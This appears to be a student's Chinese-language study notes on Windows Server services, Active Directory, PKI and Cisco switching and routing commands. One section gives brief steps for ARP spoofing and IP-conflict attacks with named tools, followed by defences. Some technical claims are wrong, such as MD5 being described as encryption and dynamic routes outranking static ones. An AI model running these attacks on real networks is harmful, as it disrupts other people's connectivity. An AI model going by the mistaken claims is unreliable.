  2. FTP的端口是:20、21。

  3. FTP工作方式分为:主动模式被动模式

    1. 主动模式:客户机会随机使用一个端口去访问服务器,服务器会用21端口来接收请求(21端口被称为控制端口),都是客户机主动发出请求。直到客户机发送文件下载请求,服务器会使用20端口并主动发送请求(20被称为文件端口),客户机再次随机获取一个端口接收数据。

    2. 被动模式:客户机会随机使用一个端口去访问服务器,服务器会用21端口来接收请求,都是客户机主动发出请求。直到客户机发送文件下载请求,服务器会随机选择一个端口将请求发出(请求客户机主动连接服务器),客户机再次随机获取一个端口发出请求连接服务器,服务器接搜到后将数据发出。

    3. 主动模式服务器可以开启防火墙,应为服务器的端口是固定的。

    4. 开启防火墙并指定端口可以访问

      1. 控制面板找到网络,里面有防火墙选择开启。设置端口找到”例外“点击添加端口,添加端口即可。

6.1 IIS部署FTP Server

  1. FTP站点右键新建选择“FTP站点”不来自文件,描述随意,分配ip下一步,还没有学域暂时不选默认即可。

  2. 选择你要共享的文件,权限全部选上(到文件系统设置)。

6.2 部署Serv-U

  1. 进入页面有一个“自动开始”,勾选后开机自启,创建域,域右键创建输入ip、随便输入、下一步即可。

  2. 创建用户,用户右键创建、输入用户名、输入密码、指定主目录。(这里的用户只是软件的并不是系统的)

  3. 创建好后右方会出现,选择目录访问,里面可以设置权限,下方的添加可以给改用户,在不同文件做权限设置。(路径长的移到上面)

6.3 问题方法

  1. 如果找不到登录页面

    1. 自创站点右键属性,选择账户安全后将允许匿名连接取消勾选即可。

  2. 如果有多用户可是有些资源时相同的

    1. 将你的文件与其他文件移动知同级目录,给需要的用户添加路径权限。

    2. 在创建的域中有一个设置点击,再右方选择虚拟路劲,点击添加并找到你要映射的路劲和你要映射到的“%HOME%”(代表别人的家)。(会被映射到文件夹中)

7.域(Domain)

7.1 概述

  1. 内网环境:

    1. 工作组:默认模式,权力相同。不存在阶级控制。

    2. 域:分层管理,具有管理者,集中管理和统一管理。

  2. 域的组成:

    1. 管理者被称为域控制器(Domain Controller)

    2. 被管理者称为成员机

  3. 域名称使用域名的方式不加主机名称。

  4. 在域中安装DC时,DC会被同时安排安装DNS服务器,会安装DC和DNS两个软件;部署好DC和DNS后,用户加入域时会自动加入DNS。

  5. 安装DC时会安装多个软件,里面会有一个“活动目录”(AD),存放域中的公共资源。

  6. 活动目录可以创建账号被称为域账号

  7. 使用域账号登陆成员机(大概)

    1. 使用域账号登陆时,成员机会向DC发送请求(携带要登陆的账号)。

    2. DC接收后去活动目录,找有没有相匹配的账户密码,有就向成员机发送允许登陆的提示;成员机会创建用户。

  8. 基于活动目录会有一个叫组策略(GPO),用来控制域账号。

  9. 多个子域可以组成域,多个域组成的称为林(林中第一个域的名称,就代表林的名称)。

  10. 部署(大概)

    1. 安装域控制器会生成域环境。

    2. 安装了活动目录就生成了域控制器。

7.2 部署域

1 win08部署域

  1. 使用win08并关闭防火墙,查看是否分区,配置静态IP,修改计算机名称;通常安装服务器时在,计算机右键管理有角色,即可安装指定服务器也可以通过dcpromo命令安装。

  2. 打开运行窗口输入“dcpromo”,下一步不用选择高级模式还用不到,选择“在新林中新建域”下一步,为第一个域起名(需要等待一会电脑,需要判断是否有此人)。

  3. 林功能级别是选择林和其他人林的最低系统版本(不能低于设定系统版本),域也一样下一步,选择DNS下一步(弹出的选择是再弹出中选择确定)

  4. 位置不改下一步,被称为活动目录还原密码设置后记住,下一步即可完成。

  5. 检验:装好后本地管理员会晋升为dc管理员,右键我的电脑属性可以查看是否为域,开始、管理工具找到DNS,进去查看一下是否自动添加了。

3 用户加入域

  1. 分配静态ip,计算机右键属性、点击计算机名选项后点击更改,里面有一个部署于选择域并输入域的域名。使用管理员登陆后会弹出对话框。

  2. 关机重启后,可以选择登录有本地登录和域账户登录(需要创建域账户);登录账户格式“域名加\ 加域账户名”。

7.3 用户和计算机

  1. Active Directory 用户和计算机就是“活动目录”。

  2. 点开创建的域后“Computers”存放所有成员机,“Domain Controllers”存放所有域控制器,Users里面就是所有的本地组和用户,升级后称为域组和域成员了。

  3. Domain Admins是域管理员组,可以将其他人提升为域管理员。

  4. Users右键新建用户,姓、名、姓名、英文缩写(建议使用中文),用户登录名建议设置如叫李永强”xiaoli.li“,下一步输入密码并确定密码即可。

1 组织单位(OU)

  1.  

  2. 用于分组管理域资源,和组策略可以实现多个用户的限制与管理。

  3. 创建OU

    1. 打开用户和计算机,域名称右键新建组织单位,在对话框中输入名称即可(下方要勾选)。区分时可以看图标

    2. 找到你要添加的用户或计算机右键所有任务中找到移动,找到移动到的位置即可。

    3. 注意:添加域用户只会限制此账户,不限制电脑,只有你把计算机添加后才会限制。

    4. 补充:Domain Controllers是DC的OU,用户限制DC的。

7.4 组策略(GPO)

  1. 组策略是通过设置各种属性来实现的操作。

  2. 组策略有两种资源:计算机和用户

  3. 右键菜单框:

    1. 强制组策略

      1. 指定组策略上右键强制,强制执行在这个ou里面的策略,下方的子策略冲突时自动不应用。

    2. 阻止继承

      1. ou右键选择阻止继承,不会继承上级组策略,只使用自己的。

  4. 快速查看对ou做了什么组策略。

    1. 点击指定组策略上右方点击设置后,在弹出的窗口中点击添加再点击添加即可。

  5. 安全设置中可以设置,多种与安全相关的操作。

1 设置客户机桌面背景

  1. 共享桌面背景文件

    1. 找到指定文件右键属性,点击共享后选择高级共享,勾选共享此文件夹。

    2. 点击权限将“Everyone”改为完全控制后,点击添加将查找位置指向DC名称,对象名称输入“Domain users”确定并设置为完全控制。

    3. 找到安全点击编辑点击添加,同样的步骤“domain users”添加即可。

  2. 设置组策略

    1. 点击开始找到管理工具,中选择组策略管理。

      1. Default Domain Policy:主域策略

      2. Default Domain Controllers:DC主策略

    2. 在指定的文件夹上右键点击“在这个域中创建GPO”,名称建议和文件夹一致。

    3. 点击组策略右键编辑,找到用户配置中的管理模板下的桌面,中还有一个桌面并点击,右侧会出现一个“桌面墙纸”双击并启用,在强纸名称中输入共享文件夹的网络路径(\\10.1.1.1\image\bb.jpeg)。

    4. 本地机策略查找顺序:L(先查找本地组策略)S(代表站点一般不用)D(是主域的策略)OU(是目标机所在OU的每层组策略)。

2 设置脚本

  1. 打开指定组策略表,打开win设置里面会有叫脚本的,点击后右面找到注销双击,将你要执行的脚本发到打开的共享文件夹种,选中即可。

7.4 问题方法

  1. 可以ping通但是无法弹出登录框。

    1. 查看DNS中是否有一项是名称为“与夫文件夹相同”,数据是dc ip的;没有的话需要手动加入,右键新建主机名称不填,ip填dc的确定即可。

  2. 将域用户添加到本地Administrators组中。

    1. 桌面右键管理,选择用户和组,找到“Administrators组”后点击添加,在弹出的对话框中查看查找位置是否的DC的名称后,在对象名称中输入“域账户名称”即可(登录时可无需输入dc主机名称)。

    2. 注意:dc的“Domain Admins”组不要随便添加其他用户。

8.公钥基础设施

  1. Public Key Infra全称,用于通过加密技术和数字签名保证信息的安全,由公钥加密技术、数字证书、CA和RA组成。

  2. 信息安全三大要素:机密性、完整性、身份验证和操作的不可否认性。

  3. 应用PKI的领域有:SSL、HTTPS、IPsecVPN、部分远程访问VPN。

  4. 算法通过,原始数据与密钥生成一个字符串。加密算法分为:对称算法和非对称算法

    1. 对称算法:加密和解密时使用同一个密钥。

    2. 非对称算法:加密和解密时使用两个密钥分为公钥(Public key)和私钥(Private key)。

    3. 不一定:对于我直到的MD5加密,不加盐时是对称加密(只会有公钥),而加盐后是非对称加密(有公钥你提供的时私钥)。

  5. HASH不可逆,HASH的算法有MD5和SHA(验证完整性)

  6. 数字签名,将数据加密后通过HASH,得到摘要后将摘要加密,放到第一次加密数据的后方。(这就是这个数据的数字签名)

  7. 加密算法里的对等算法通过,原始数据与密钥(Key)生成一个字符串,来保护数据。解密时使用相同的密钥即可。

  8. 证书

    1. 证书用于保证公密的合法性;证书格式遵循X.509标准。

    2. 数字证书包含信息:使用者公钥、使用者标识信息、有效期、颁发者标识信息、颁发者的数字签名。

    3. 数字证书由权威公正的第三方机构即CA签发。

pki主要解决了加密传输和上方不信任的情况。

8.1 部署CA

  1. 打开三台电脑,一台xp、两台2008,2008中安装iis服务并且不要停用或删除默认网站。

  2. 添加Active Directory证书服务,在证书中选择“证书颁发机构Web注册”,剩下的无脑下一步即可。安装好后打开iis中的服务器证书,并点击创建证书申请。填写信息后保存到指定位置即可(通用名称不可以错必须写网站名)。

  3. 申请后打开浏览器访问“ip/certsrv”后点击申请证书中的高级证书申请,进入后找到“使用base64编码。。。”打开后需要你把之前生成的文件内容复制过来并点击提交。

  4. 在打开电脑中的证书颁发机构,找到挂起的证书后右键颁发即可。再次访问网站,点击查看挂起的证书并找到刚才申请的证书点击下载。

  5. 再次打开iis找到服务器证书中的完成证书申请,后打开你的网站将申请的使用即可。找到ssl设置,将要求ssl勾选代表用户不能使用80来访问该网站,只能使用ssh来访问。

  6. 打开网站下载ca证书后添加到浏览器的证书中,以后访问就不会出现不安全提示了。

  7. 给web浏览器申请证书,在网站中申请即可。打开证书颁发机构颁发即可,安装是需要web浏览器证书的电脑安装。

认识设备

1.计算机基础

  1. 计算机的特点,处理速度快、运算精度高、存储容量大、具有逻辑判断能力、高度自动化。

  2. 计算机的应用,科学计算、信息处理、自动控制、辅助系统、人工智能、网络通信、电子商务。

  3. 计算机的新能指标

    1. 字长是指计算机内部一次能同时处理的二进制数据的位数。

    2. 主频是指计算机种cpu的时钟频率,即cpu在单位时间内发出的脉冲数,单位通常是MHz(兆赫兹)、GHz(吉赫兹)、他在很大程度上决定了计算机的运行速度。

    3. 主存容量是指主存储器(内存)所能存储的二进制信息的总容量。

    4. 运算速度是衡量计算机性能的一项重要指标。

    5. 外设配置是指计算机的输入输出设备以及外存储器,如键盘、显示器、打印机、磁盘驱动器和鼠标等。

    6. 软件配置包括操作系统、计算机语言、数据库管理系统、网络通信软件、汉字软件及其他各种应用软件等。

  4. 计算机系统的组成及工作原理

    1. 计算机系统分为:硬件系统和软件系统

    2. 硬件系统分为主机和外部设备

      1. 主机分为中央处理器(分为运算器和控制器)和内存储器(只读存储器(ROM)和随机存储器(RAM))

      2. 外部设备分为外部存储设备、输入设备和输出设备。

    3. 软件系统分为系统软件和应用软件。

      1. 系统软件分为操作系统、程序语言处理系统、数据库管理系统、服务程序检测诊断、排错。

      2. 应用软件分为通用应用软件、专用应用软件。

    4. 计算机系统的工作原理

      1. 计算机的基本原理思想是:存储程序和程序控制。存储程序是指人们必须先将程序及运行过程种所需的数据,通过一定方式输入并存储到存储器种。程序控制是指Computer运行时能自动地逐一取出程序种一条条指令,加以分析并执行规定的操作。

        1. 存储程序控制原理的计算机内容,采用而精致形式表示数据于指令。

        2. 将程序预先存放在主存储器种,使计算机能自动,高速地从存储器种取出指令,并加以执行;程序中的指令通常是按一定顺序逐条存放、计算机工作时,系统给出程序入口地址,按照指定的逻辑顺序存储器中逐条提取、分析;执行指令并传送结果。

        3. 计算机有5个基本部分组成:运算器、存储器、控制器、输入设备和输出设备。

      2. 计算机指令和指令系统

        1. 计算机之所以能够处理各种信息,主要还是通过编制的各种程序来实现,即为了实现某一特定目标而向计算机发出的一组有序的基本操作命令的集合。这些基本操作命令就成为指令,计算机硬件操作提供了对指令的识别能力。

        2. 指令是用机器字来表示的,一条指令的机器字被称为指令字。指令格式是二进制代码表示的结构形成;通常由连个字段组成,操作码字段和地址吗字段。操作码字段表示指令的操作特性于功能(如加法、减法、取数、存数等),操作码为数决定指令的条数,当是指长位数时,操作码是位数n,则指令是2的n次方条;地址码字段保存指令地址,地址码的数据地址,可以时源操作地址,也可以是结果的地址。

        3. 计算机所指令的集合结构了指令系统。指令系统具有功能。数据传输指令、数据处理指令、程序控制指令、输入/输出指令、其他指令。

        4. 指令的执行过程,指令分为三个阶段,取指定阶段、分析指令即取操作数阶段、执行指令阶段三个过程。

    5. 计算机硬件系统

      1. 主机内部放置主板、cpu、内存、硬盘驱动器、显卡、声卡、网卡、连接线、电源等硬件设备。

      2. 主板,主板又称为系统主板(System Board),它主要用于连接计算机的多个部件,主板主要包括Cpu的插座于插槽、内存插槽、总线扩展槽、各种接口、BIOS芯片、CMOS芯片、DIP开关等。

        1. CPU插座于插槽用于固定连接CPU芯片。

        2. 芯片组是主板的控制中枢,

        3. BIOS芯片即基本输入输出系统

        4. CMOS芯片是一种低耗电存储器,其主要存储BIOS中的设置信息。

        5. 插槽、内存插槽、台式机主要有SIMM、DIMM和RIMM三种、PCI插槽。PCI是指外围组件互联,AGP插槽。即加速图形接口。

        6. 它是一种显卡专用插槽。除此之外有USB、IEEE1394接口、并行接口、串行接口等。

      3. 中央处理器,CPU由运算器和控制器两部分组成。运算器是对数据进行加工处理的部件,它在控制器的控制下与内存交换数据,负责进行各种基本的算术和逻辑运算。

    6. 计算机软件系统

      1. 软件是指挥计算机工作的程序与程序运行时所需的数据,软件是用户与软件之间的接口。系统软件是最靠近硬件的一层。

      2. 常用的系统软件主要包括操作系统、程序设计语言、语言处理程序、数据库管理系统等。

      3. 编写计算机程序所使用的语言是人与计算机之间进行信息交换的工具,一般可分为机器语言、汇编语言、高级语言和第4代语言。

      4. 应用软件分为:办公自动化软件、多媒体应用软件、辅助设计软件和实时监控软件。

  5. 源码、反码、补码

    1. “正”“负”机器是无法识别的,我们将最高位0表示正,1表位负。

    2. 源码是符号位=0,数值位0001001就9.符号位=1,数值位不变=-9.

    3. 反码是正数不变,负数符号位=1,数值位取反。

    4. 补码是正数不变,负数符号位=1、数值位取反加一。

  6. 字符的二进制编码

    1. 西文字符

      1. 美国标准信息交换码(ASCII),已被国际标准化组织ISO采纳作为国际通用的信息交换标准代码。

      2. 7位的ASCII码称为标准ASCII码字符集,字节的最高位为0,可以表示128个字符。找找字符时要通过高3位和低4位为确定字符。

    2. 中文字符

      1. GB2312-80是我国于1981年颁布的一个国家标准,其称为国标码并总共7445个可用字符。我国对CB-2312-80进行了扩充,形成了CB18030国家标准。还将汉字增加至27484个。

      2. 汉字机形码是表示汉字字形的字模码、是汉字的输出形式,用于在显示屏或打印机上输出汉字,通常用点阵,矢量等方式表示。

2.网络设备

  1. 网络设备的几种模式:

    1. ">"符号的是用户模式:可以查看基本简单信息,不可以修改。

    2. "#"符号的是特权模式:用”enable“命令进入,可以查看所有配置,不可以修改,但可以做测试、保存、初始化等操作。

    3. ”(config)”字符的是全局模式:用configure terminal“命令进入,默认不可以查看,可以修改并且全局生效。

    4. "(config-if)"字符的是接口模式:用“interface f0/1”命令进入,可以修改配置,且对该接口生效。

    5. "(config-line)"字符的是控制台模式:用“line console 0”命令进入,默认不可以查看,且对console生效。

  2. 使用“exit”可以退回一级,使用end可以回到特权模式。网络设备还支持命令缩写、?、历史命令、TAB补全。

  3. 使用“hostname ‘name’ ”可以修改名称,"password 'adsadf'"可以设置密码,“login”设置密码后需要应用一下。给特权模式设置密码“enable password 123456”。将password换成secret后就是密文的了。如果想删除某个命令就用“no 。。。”

  4. ctrl+u是快速删除此行、ctrl+a是光标快速到行首、ctrl+e是光标快速到行尾 。重新加载的命令是“reload”。

  5. 网络设备的必须配置

    1. 在网络设备的内存中存在这一个文件叫“running-config”,每次开机后都会自动创建一个新的干净的"running-config"文件。现在你知道他是在内存中的文件,并不是在硬盘中每次开机会自动消失。所以我们需要用命令将其复制到硬盘中“copy running-config startup-config”。用命令查看“show running-config”(文件中存放所有的配置),在硬盘中删除文件“erase startup-config”。

    2. 查看MAC地址表“show mac-address-table“,查看接口的简要信息”sh ip int brief“交换机的接口默认是开的,一共有两个状态第一个是接口第二个是速率。关闭端口的命令是”shutdown“使用do命令的在全局模式下查看”do ...“

  6. 远程控制网络设备

    1. 三层的端口默认是down的,为三层接口配置IPip add "ip" "子网掩码",打开端口no shat

    2. 远程控制网络设备:在指定的网络设备中打开远程控制端口”line vty 0 4“0和4代表从来开始到最大连接数,远程控制时特权模式需要需要设置密码。远程控制默认打开的是23端口(telnet服务)。

    3. 我们需要安全的通信就需要使用ssh加密通信,进入远程接口使用命令修改通信协议transport input ssh并返回安全模式,使用命令生成crypto key generate rsa,可以设置名称访问ip domain-name ”name“,最后选择512即可,pc访问时”ssh name@ip“。

  7. 使用用户名密码远程访问

    1. use username and password login,先进入远程使用login locallocal是个数据库,返回安全模式后使用命令username xx password xx

  8. 给交换机配置远程访问,进入全局模式后再进入虚拟端口int vlan 1并配置IP地址和网关IPdefault-gateway 网关ip。关闭自动解析功能no ip domain-loohup

3.交换机

  1. 交换机的工作原理:

    1. 用户a将数据发送给交换机,交换机会有一个MAC表记录用户的源MAC和端口,判断MAC是否有目标MAC,如果没有就发送广播帧有就发送单播帧,如果目标 MAC不是自己就拒绝接收,是就把帧接收并给发送回帧。下次发送时还是去查MAC表如果有就发送单播帧给目标主句。MAC表记录会在最后一次相关通信存在300秒。

  2. 交换机的端口:E 10mb、F 100mb、G 1000mb、Te 10000mb。F0/1,0是模块号、1是接口号。端口状态:up/down;down的三种可能:人工down、速率不匹配、双工模式不匹配。 第一次配置网络设备,需要使用console线,插到网络设备和电脑上,电脑上需要使用超级终端“hypertrm”。

  3. 广播:将广播地址做为目的地址的数据帧,广播域:网络中能接受到同一个广播的所有节点的集合。MAC的广播地址为FF-FF-FF-FF-FF-FF,IP的广播地址为255.255.255.255。

3.1 arp

  1. ARP拿到你给的ip后,先去自己的缓存中查看有没有,没有就会发送一个ARP包到交换机,交换机会将其生成一个MAC地址为FF-FF-FF-FF-FF-FF的包向每个人发送这个包,如果你的ip和我发送的ip对应了,你就会向我的电脑发送一个回应报文。

  2. 并且我本地会拿到所有在这个网络中的ip和mac地址arp -a这个命令可以查看。你也可以删除arp缓存arp -d。如果他访问的是网段外部是时,他会将mac广播地址设置为网关的地址。

  3. win下查看arp地址表:”arp -a“查看arp缓存表、”arp -d“清除arp缓存表、”arp -s“arp锁定。

  4. 跨网段时包会先到达第一个路由器判断路由器有没有,有就将针头去掉,再创建一个新的去查下一个路由器。

  5. arp欺骗是通过截获原用户发来的arp广播,发自己的mac回应给原用户,做到原用户和目标用户无法通信。APR欺骗就是将a机和b机的arp对应mac改为c机的mac,这样所有的消息都会通过c机。

  6. arp的响应报文可以攻击,使用一个计算机伪造响应报文来修改请求机中的mac,arp的广播报文也可以进行攻击同理。

    arp的攻击和防御方式 攻击时使用“长角牛网络监控机”软件并检测,检测到后找到你想攻击的数据后右键选择手动设置,后选择ip冲突并选择每秒发送几个后确定。 欺骗用cain软件即可。 arp防御有三种方式可以实现,静态arp绑定客户机arp -s "ip" "mac"、arp防火墙自定绑定静态arp和主动防御360自带但是不开、携带arp防御的交换机可以在交换机中将其阻止,他可以在发送dhcp的时候将每个计算机的ip和mac动态绑定。

  7. 为了解决arp被欺骗和攻击我们可以写静态arp,在主机上绑定arp”netsh interface ipv4 show neighbors “和”netsh interface ipv4 set neighbors "IP地址" "mac地址"“。在网络网络设备上”arp "ip地址" "mac地址" arpa "接口"“

3.2 vlan

  1. VLAN VLAN技术是在交换机上实现的且是通过逻辑隔离划分的广播域。在交换机上会生成一个vlan表每次针来后,先去判断你是哪个网段的,然后再去给你发送到指定的网段中。 VLAN分为:静态和动态 静态是使用交换机端口划分的,两个人交换端口后就会交换域,VLAN表中存放接口。 动态是使用MAC划分的,两个人交换端口后并不会交换域,VLAN表中存放MAC。 不同交换机有不同的VLAN表,只有使用trunk时携带VLANID,access是不携带的,两个路由器端口放在不同的VLAN中也可以实现,不同VLAN通信。 VLAN命令 查看VLAN表show vlan brief,创建VLANvlan "vlan id",进入指定vlan后可以修改名称name “vlan name” 将端口添加到指定VLAN需要先进入指定端口后使用switchport access vlan "ID",在查看VLAN是你会发现默认所有的端口都在VLAN 1中。

3.3 trunk

  1. 在多个交换机下设置多个vlan后两个交换机接口只有一个无法让多个vlan同时联通,而trunk就是用来解决这个问题的。trunk公共线路,允许所有vlan数据通过trunk链路。

  2. 交换机端口链路类型

    1. 接入接口:也称为access端口,一般用于连接pc,只能数据某1个vlan,也只能传输1个vlan的数据。

    2. 中继端口:也称为trunk端口,一般用于连接其他交换机,属于公共端口,允许所有vlan的数据通过!

  3. 配置trunk,进入指定端口并使用命令”switchport mode trunk“和[switchport trunk encapsulation dotlq/isl]。

  4. 用于所有的VLAN数据通过,是通过数据帧上的加标签来区分的。

  5. trunk标签:ISL标签是cisco自己的大小是30字节、802.1q标签是所有厂家支持的内部标签,大小是4个字节。

  6. 想切换端口模式需要先进入指定端口,使用这个命令切换switchport mode trunk|access

4.路由器

  1. IP数据包格式:版本(4)、首部长度(4),优先级与服务类型(8)、总长度(16)、标识符(16)、标志(8)、段偏移量(13)、TTL(8)、协议号(8)、首部校验和(16)、源地址(32)、目标地址(32)、可选项、数据。32bit一组。

  2. 路由器是跨越从源主机到目标主机的一个互联网络来转发数据包的过程。

  3. 直连网段和非直连网段,非直连网段就需要写下一跳。

  4. 路由工作在网络层:根据路由表转发数据,交换工作在数据链路层,根据MAC地址表转发数据。

  5. 静态路由的(s):ip route "network" "mask"{address|interface}

  6. 默认路由(*s):ip route 0.0.0.0 0.0.0.0 "address"

  7. 动态(c)大于静态(s)大于默认(*s)。动态是存储ip和端口,静态和默认是存储ip和下一跳。查看路由的命令do sh ip route,查看接口状态的命令do sh ip int b

4.1 单臂路由

  1. 单臂路由是使用一个端口下的多个子端口实现,一个VLAN只能使用一个子端口。

  2. 配置子端口使用int f0/0.1进入子端口,指定子端口的VLANencapsulation trunk dot1q "vlanID",指定ipip add "ip" "子网掩码"no shut 用户a想给用户b发消息,用户a发送针“网关ip aip |aip bip”,发送到交换机后会判断bip是不是和我一个网段,如果不是会添加一个vlanID 后发送给路由器“网关ip aip | vlanID |aip bip”,路由器接收到后查看网关ip是不是自己,是就将第一段去掉并判断bip后添加第一段为“网关ip bip | vlanID |aip bip”,交换机接收后判断是哪个虚拟网络并去掉vlanID后发给用户b。

4.2 单臂&DHCP

  1. 在独臂路由上启动DHCP服务,先做地址排除ip dhcp excluded-address "startip" "endip",给dhcp起名字ip dhcp pool “name”,设置ip和子网掩码network “ip” “子网掩码”,配置网关default-router “网关”,配置dnsdns-server “ip”,配置租期(天 时 分)lease 2 2 2

  2. 在某个VLAN中部署DHCP服务器做到全网通信,先部署好DHCP,在网络中的所有人如果要和其他的域通信需要通过路由器,而为们可以设置如果其他域中的dhcp请求来后将其悄悄的转发给DCHP服务器。打开其他域的子端口输入命令指定DHCP请求转接口ip helper-address "ip"

4.3 ICMP

  1. ICMP协议用于网络探测、路由跟踪、错误反馈,ICMP协议格式由ICMP头和数据组成,头又分为ICMP类型和代码,类型有8-ping请求、0-ping应答、3-目标主机不可达、11-TTL超时,代码用于细化类型反馈。

  2. Windows用tracert "ip",Linux和路由用traceroute "ip"

4.4 三层交换技术

  1. 三层交换机是有交换机和路由器的结合体,为们在使用VLAN中发现需要使用路由器来做网络通信,可是如果一个VLAN使用一个端口很不好,我们使用了独臂路由但发现独臂路由所有的通信都会经过一条线。我们使用三层交换机后可以解决了端口和线的问题,将其虚拟化后实现。

  2. 先在全局配置VLAN域vlan 10,再使用命令打开路由器模块ip routing,使用命令创建虚拟链接int vlan 10,它会自动去找交换机中对应的VLAN。在虚拟链路中还会有一个表CEF,只要你访问过一次后他会记录,下一次会直接去。

  3. 三层交换机虽然带有路由器模块,但是功能并不强大,我们需要另外购买路由器设备,三层交换机的每一个端口都可以从二层升级为三层。进入指定端口使用命令升级端口no switchport。在三成交换机上进入一个端口想切换模式,需要先使用命令指定switchport trunk encapsulation dot1q

4.5 HSRP协议

  1. HSRP协议和VRRP协议一样只是HSRP是私有,而VRRP是公有。热备份路由协议备份的是网关。

  2. HSRP组的成员,虚拟路由器是管理者,优先级高的是活跃路由器和一个备份路由器。优先级1-255默认是100,HSRP通信是用探测包探测,默认是3秒一个。 活跃路由器内网断了,会被备份路由器所替代,而外网断了并不影响他给备份路由器发送正常包导致无法访问外网。我们可以将出包设置为活跃路由器把入包设置为备份路由器,这样活跃路由器坏了后可以正常通信。

  3. 给路由器配置热备份,配置组和ipstandby "组号" ip “组地址”,再配置优先级standby "组号" priority "优先级1-255"。在活跃路由器还需要配置跟踪,配置到外网端口standby "组号" track "端口"

  4. 其他配置相同在备份路由器中配置,抢占优先级standby "组号" preempt。查看的命令show standby br

  5. 如果网络中出现环路,就会逻辑关闭几条线路,只有在另一条坏了后才会使用。

4.6 访问控制列表(ACL)

  1. 防火墙诞生之初,从来也不是防病毒和木马。病毒和木马是5层,而防火墙并不做数据过滤,如果做过滤的话就会降低效率了。

  2. ACL原理:ACL表必须应用到接口的进或出方向才生效!、一个接口的一个方向只能应用一张表!、进或出取决于流量控制总方向。

  3. ACL表是自上而下的,需要将严格的写在上面,把不严格的写在下面,这样就可以精准控制了。

  4. ACL表分为标准和扩展

  5. 标准

    1. 标准ACL的表号:1-99,只能基于源ip对包进行过滤。

    2. 标准ACL只能设置入,并不能设置目标,如果你要限制一个网段去另外一个网段时需要设置到不可去网段的出接口。

    3. 标准的命令“access-list 表号 permit|deny 源ip|源网段 反子网掩码”,反子网掩码是将子网掩码的二进制中0和1调转。调转后0对应需要严格匹配,1对应会被忽略。

    4. 如果拒绝一个人时可以简化“access-list 1 deny host 10.1.1.1”,如果拒绝所有人时可以简化“access-list 1 deny any”。查看ACL表“show ip access-list [表号]”,写好表后打开指定的接口使用命令应用“ip access-group 表号 in|out”。如果你要删除某张表可以使用“no access-list 表号”。

  6. 扩展

    1. 扩展ACL的表号:100-199,可以基于源ip、目标ip、端口号、协议等对包进行过滤。(deny是拒绝,permit是允许)

    2. 不管标准还是扩展ACL最后边需要些允许其他ip访问,不然就不会生效“acc 表号 permit any”。

    3. 扩展ACL使用的命令“access-list 表号 permit|deny 协议 源ip|源网段 反子网掩码 目标ip|源网段 反子网掩码 [eq 端口号]”。协议有:tcp、udp、icmp、ip。扩展ACL在选择协议时,加端口号只能使用tcp和udp协议,不加端口号四个都可以加。

    4. 命名ACL可以对标准或扩展ACL进行自定义命名,自定义命名更容易辨认,也便于记忆。命名ACL可以删除其中一条或插入一条记录。使用的命令是“ip access-list extended ACLname”,使用命令后会进入记录模式,记录是不需要写“access-list 表号”了。使用“no id”可以删除一条记录,也可以使用“id 记录”插入一条记录。

4.7 网络地址转换(NAT)

  1. 网络中的ip地址分为公有ip和私有ip,在10.0.0.0/8和172.16.0.0/16-172.31.0.0/16和192.168.0.0/16这个范围的都是私有地址。NAT用于私有ip和公有ip的转换,如果没有NAT你就无法上网了。

  2. NAT需要定义内外网络端口,并且遵循内到外:转换源ip、外到内:转换目标ip。内网pc访问外网时先将表交给路由器,路由器判断你是不是去外网,如果是它就会去NAT地址转换表中查找有没有对应记录,如果有就将其把源地址转换为购买的外网ip地址。

  3. nat静态是通过工程师写入的映射表,而动态是通过常见两个地址池,内网一个外网一个,原理一样需要替换时去对应的地址池查并生成映射记录,以你最后一次通信24小时后删除。

  4. pat端口地址转换,在前两个中外网地址是无法同时被多个人使用,而使用pat可以同时有多个人使用。pat在内网发出时会携带端口和ip,到地址池后判断ip生成映射条目,映射条目中会将带来的端口号存放并生成虚拟端口号给包和表。包回来时通过判断虚拟端口号来制定对应条目,而且pat生成的对应条目只会在最后一次通信存在60秒。也称为端口复用技术。

  5. 定义内网端口命令,先进入指定端口再使用命令“ip nat inside”。定义外网端口命令,先进入指定端口再使用命令“ip nat outside”。

  6. 定义内部地址池“acc 表号 permit "ip” “反子网掩码”,这里的表并不做过滤制作选择。

  7. 做PAT动态映射表命令“ip nat inside source list 表号 int f0/1 overload”,只要满足表就可以通过f0/1端口并使用复用。

  8. 配置静态端口转换命令,“ip nat inside source static 协议 内ip 内端口 外ip 外端口”,查看nat表“sh ip nat translations”,清空nat表“clear ip nat translation *”。

4.8 动态路由

  1. 动态路由是通过某种路由协议实现,动态路由减少了管理任务,占用了网络贷款。动态路由协议就是路由器之间通信的规则和标准。

  2. 度量值是动态路由判断最佳路径的方式,度量值有条数、带宽、负载、时延、可靠性、成本。收敛是使所有路由器都达到一直状态的过程,你也可以理解为完成路由表的更新。

  3. 按照路由执行的算法分类:

    1. 距离矢量路由协议:依据从源网络到目标网络所经过的路由器的个数选择路由,如:PIR、IGRP。

    2. 链路状态路由协议:综合考虑从源网络到目标网络的各条路径的情况选择路由,如:OSPF、IS-IS。

  4. RIP有一个基本概念,定期更新与邻居应为动态路由需要和其他路由去沟通将自己的路由表与其他人的路由表交换写入(PIP默认时间是30表更新一次),广播更新与全路由表更新应为它会以广播的形式发送给每个路由,并且是把路由表完全交换。

  5. RIP度量值是条数,最大条数为15次,16次为不可达。每间隔30s发送路由更新新消息使用UDP 520端口。

  6. 执行水平分割可以阻止路由环路的发生,从一个接口学习到路由信息,不再从这个接口发送出去,同时也能减少路由更新信息占用的链路带宽资源。

  7. 使用命令启用rip“router rip”,设置版本最好使用2以上“version 2”,写入自己连接的网段,注意这里的网段是通过A\B\C标准分的“network 10.0.0.0”。这样这之后就可以用来,但是你在用的时候会发现学习过来的条目是/8,应为它启动启用了自动汇总,你需要手动关闭才会变为/24“no auto-summary”。关闭rip“no router rip”。

4.9 虚拟专有网络(VPN)

  1. VPN可以实现在不安全的网络上,安全的传输数据。VPN只是一个技术,使用PKI技术来保证数据的安全三要素:机密性、完整性、身份验证。

  2. VPN分为:远程访问,一般用来个人到安全连接企业内部,如:PPTP VPN、L2TP VPN、SSTP VPN、SSL VPN。点到点VPN,一般用在企业对企业安全连接,如:IPsecVPN。

  3. VPN隧道优点:安全性和合并两家企业内网。VPN隧道技术有两个模式:传输模式和隧道模式,默认是隧道模式。

  4. 传输模式:只加密上层数据,不加密私有ip包头,速度快。原理:在发出包时加密数据,到内网出接口时将ip放到包头可选项中,把公网ip写到并发送过去,另一个内网接受到后,把可选项ip取出放到位置,发给用户解密使用。

